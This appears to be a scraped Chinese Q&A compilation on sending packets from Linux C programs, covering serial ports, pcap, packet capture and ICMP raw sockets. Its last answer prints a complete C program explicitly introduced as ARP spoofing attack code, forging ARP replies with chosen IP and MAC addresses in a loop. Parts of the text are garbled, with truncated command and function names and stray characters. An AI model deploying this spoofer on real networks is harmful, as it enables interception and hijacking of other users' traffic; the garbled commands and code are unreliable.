導航:首頁 > 編程系統 > linuxc模擬發包

linuxc模擬發包

發布時間:2023-06-02 13:16:02

㈠ 關於怎樣在linux上用C寫串口收發數據程序

對於編程來說,沒什麼區別,通過控制485的使能端該程序完全可以使用。唯一的區內別就是你在發送的時候通容過程序把485的控制腳拉高,接收的時候把他拉低就可以了。至於電氣方面的區別:RS232是全雙工,可以同時收發,RS485是半雙工,不能同時收發,還有電平信號不一樣,這個編程你就不要理了。

㈡ linux下面怎麼做一個發包器,題目是利用pcap文件格式,我們在發包之前已經有pcap文件包,讀取pcap文件通過

你應該使用pcap庫

搜搜有關pcap庫的使用就行了 學學相關函數的使用
pcap_create()
pcap_activate()
pcap_open_offline()
等等

㈢ linux下怎麼指定網卡發包收包

linux下有命令可直接執行抓包的,命令如下:
1、tcpmp -vv -i ethN -s 10240 -w /root/abc.cap host ip
2、上述命令中,ethN,是你要抓的本機網卡內,一般是eth0,可使用容ifconfig查看使用的哪個網卡
-s 指定的是抓包數量 -w指定的是抓到的包寫到哪個位置 host ip即為抓取哪個ip 的包

㈣ 如何在linux下用c語言編寫一個能夠發送icmp報文的小程序

需要建立來socket,參數是AF_INET,SOCK_RAW,IPPROTO_ICMP

自己構自造ICMP數據包,sendto發送給某地址。

ICMP有多種,你可以發送type為13的時間戳請求。

然後調用recvfrom會收到type為14的timestampreply的IP包,

IP頭一般是20Bytes,裡麵包含srcIP,desIP還有TTL等。

IP包的數據就是返回ICMPtimestampreply報文,裡面有origTimestamp,recvTimestamp,transStamp,可以計算出時間。

可以參考網頁鏈接網頁鏈接

覺得有幫助可以注冊帳號,給他點個「星」

㈤ Linux C編程, 如何仿造ip、mac地址發送報文呢 是利用ARP協議漏洞嗎有沒有源代碼借鑒下~~

一個arp欺騙攻擊的代碼如下:
/*
This program sends out ARP packet(s) with source/target IP
and Ethernet hardware addresses supplied by the user.
*/

#include <stdlib.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <stdio.h>
#include <errno.h>
#include <sys/ioctl.h>
#include <net/if.h>
#include <signal.h>
#include <netinet/ip.h>
#include <netinet/in.h>
#include <string.h>
#include <arpa/inet.h>
#include <netinet/ip_icmp.h>
#include <linux/if_ether.h>

#define ETH_HW_ADDR_LEN 6
#define IP_ADDR_LEN 4
#define ARP_FRAME_TYPE 0x0806
#define ETHER_HW_TYPE 1
#define IP_PROTO_TYPE 0x0800
#define OP_ARP_REQUEST 2
#define OP_ARP_QUEST 1
#define DEFAULT_DEVICE "eth0"
char usage[] = {"send_arp: sends out custom ARP packet. \n"
"usage: send_arp src_ip_addr src_hw_addr targ_ip_addr tar_hw_addr number"};

struct arp_packet
{
u_char targ_hw_addr[ETH_HW_ADDR_LEN];
u_char src_hw_addr[ETH_HW_ADDR_LEN];
u_short frame_type;
u_short hw_type;
u_short prot_type;
u_char hw_addr_size;
u_char prot_addr_size;
u_short op;
u_char sndr_hw_addr[ETH_HW_ADDR_LEN];
u_char sndr_ip_addr[IP_ADDR_LEN];
u_char rcpt_hw_addr[ETH_HW_ADDR_LEN];
u_char rcpt_ip_addr[IP_ADDR_LEN];
u_char padding[18];
};

void die (char *);
void get_ip_addr (struct in_addr *, char *);
void get_hw_addr (char *, char *);

int main (int argc, char * argv[])
{
struct in_addr src_in_addr, targ_in_addr;
struct arp_packet pkt;
struct sockaddr sa;
int sock;
int j,number;
if (argc != 6)
die(usage);

sock = socket(AF_INET, SOCK_PACKET, htons(ETH_P_RARP));
if (sock < 0)
{
perror("socket");
exit(1);
}

number = atoi(argv[5]);

pkt.frame_type = htons(ARP_FRAME_TYPE);
pkt.hw_type = htons(ETHER_HW_TYPE);
pkt.prot_type = htons(IP_PROTO_TYPE);
pkt.hw_addr_size = ETH_HW_ADDR_LEN;
pkt.prot_addr_size = IP_ADDR_LEN;
pkt.op = htons(OP_ARP_QUEST);
get_hw_addr(pkt.targ_hw_addr, argv[4]);
get_hw_addr(pkt.rcpt_hw_addr, argv[4]);
get_hw_addr(pkt.src_hw_addr, argv[2]);
get_hw_addr(pkt.sndr_hw_addr, argv[2]);
get_ip_addr(&src_in_addr, argv[1]);
get_ip_addr(&targ_in_addr, argv[3]);
memcpy(pkt.sndr_ip_addr, &src_in_addr, IP_ADDR_LEN);
memcpy(pkt.rcpt_ip_addr, &targ_in_addr, IP_ADDR_LEN);
bzero(pkt.padding,18);
strcpy(sa.sa_data, DEFAULT_DEVICE);
for (j = 0; j < number; j++)
{
if (sendto(sock,&pkt,sizeof(pkt),0,&sa,sizeof(sa)) < 0)
{
perror("sendto");
exit(1);
}
}
exit(0);
}

void die (char *str)
{
fprintf(stderr,"%s\n",str);
exit(1);
}

void get_ip_addr(struct in_addr *in_addr, char *str)
{
struct hostent *hostp;
in_addr->s_addr = inet_addr(str);
if(in_addr->s_addr == -1)
{
if ((hostp = gethostbyname(str)))
b(hostp->h_addr, in_addr, hostp->h_length);
else {
fprintf(stderr, "send_arp: unknown host %s\n", str);
exit(1);
}
}
}

void get_hw_addr (char *buf, char *str)
{
int i;
char c, val;
for(i = 0; i < ETH_HW_ADDR_LEN; i++)
{
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf = val << 4;
if (!(c = tolower(*str++)))
die("Invalid hardware address");
if (isdigit(c))
val = c - '0';
else if (c >= 'a' && c <= 'f')
val = c-'a'+10;
else
die("Invalid hardware address");
*buf++ |= val;
if (*str == ':')
str++;
}
}

閱讀全文

與linuxc模擬發包相關的資料

熱點內容
怎麼編輯class文件 瀏覽:237
資料庫sock位置 瀏覽:367
qq好友不在線如何發文件 瀏覽:386
創享編程是什麼 瀏覽:264
如何篩選出為0的數據 瀏覽:181
ps6的裁切工具 瀏覽:799
嘛網路大頭怎麼回事圖片 瀏覽:721
電腦版微信拽文件到桌面 瀏覽:144
如何把文件導入資料庫中 瀏覽:638
word如何添加文件鏈 瀏覽:470
文件夾是什麼格式 瀏覽:385
android選擇視頻上傳文件 瀏覽:778
在線蘋果如何將q幣轉到王者榮耀 瀏覽:91
ie8無法升級到ie10 瀏覽:836
分散pdf文件 瀏覽:120
如何選擇幾個不相鄰的文件 瀏覽:803
數據的編輯什麼地震 瀏覽:971
手機如何在app登錄工行公戶 瀏覽:456
濟南編程教什麼 瀏覽:446
游戲王arcv安卓版 瀏覽:653

友情鏈接